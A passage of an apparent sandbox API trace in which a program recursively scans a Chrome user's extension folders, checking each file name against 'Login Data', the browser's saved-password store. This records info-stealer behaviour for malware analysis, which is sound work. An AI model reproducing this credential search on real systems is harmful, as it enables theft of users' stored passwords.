(in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" [0079.343] LocalFree (hMem=0x6523b0) returned 0x0 [0079.343] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.343] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" [0079.343] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*" [0079.344] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.344] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.344] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.344] LocalFree (hMem=0x6525c0) returned 0x0 [0079.344] LocalFree (hMem=0x6524b8) returned 0x0 [0079.344] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.344] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.344] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.344] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.344] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.344] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" [0079.344] LocalFree (hMem=0x6523b0) returned 0x0 [0079.344] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.344] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" [0079.344] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*" [0079.344] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.345] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.345] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.345] LocalFree (hMem=0x6525c0) returned 0x0 [0079.345] LocalFree (hMem=0x6524b8) returned 0x0 [0079.345] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.345] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.345] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.345] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.345] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.345] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" [0079.345] LocalFree (hMem=0x6523b0) returned 0x0 [0079.345] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.345] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" [0079.345] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*" [0079.345] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.345] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.345] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.346] LocalFree (hMem=0x6525c0) returned 0x0 [0079.346] LocalFree (hMem=0x6524b8) returned 0x0 [0079.346] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.346] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.346] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.346] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.346] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.346] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" [0079.346] LocalFree (hMem=0x6523b0) returned 0x0 [0079.346] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.346] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" [0079.346] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*" [0079.346] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.346] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.346] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.346] LocalFree (hMem=0x6525c0) returned 0x0 [0079.346] LocalFree (hMem=0x6524b8) returned 0x0 [0079.346] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.346] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.346] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.346] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.346] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.346] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" [0079.346] LocalFree (hMem=0x6523b0) returned 0x0 [0079.347] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.347] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" [0079.347] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*" [0079.347] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.347] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.347] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.347] LocalFree (hMem=0x6525c0) returned 0x0 [0079.347] LocalFree (hMem=0x6524b8) returned 0x0 [0079.347] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.347] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.347] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.347] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.347] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.347] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" [0079.347] LocalFree (hMem=0x6523b0) returned 0x0 [0079.347] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.347] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" [0079.347] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*" [0079.347] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.348] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.348] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.348] LocalFree (hMem=0x6525c0) returned 0x0 [0079.348] LocalFree (hMem=0x6524b8) returned 0x0 [0079.348] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.348] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.348] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.348] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" [0079.348] LocalFree (hMem=0x6523b0) returned 0x0 [0079.348] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.348] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" [0079.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*" [0079.348] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.348] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.348] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 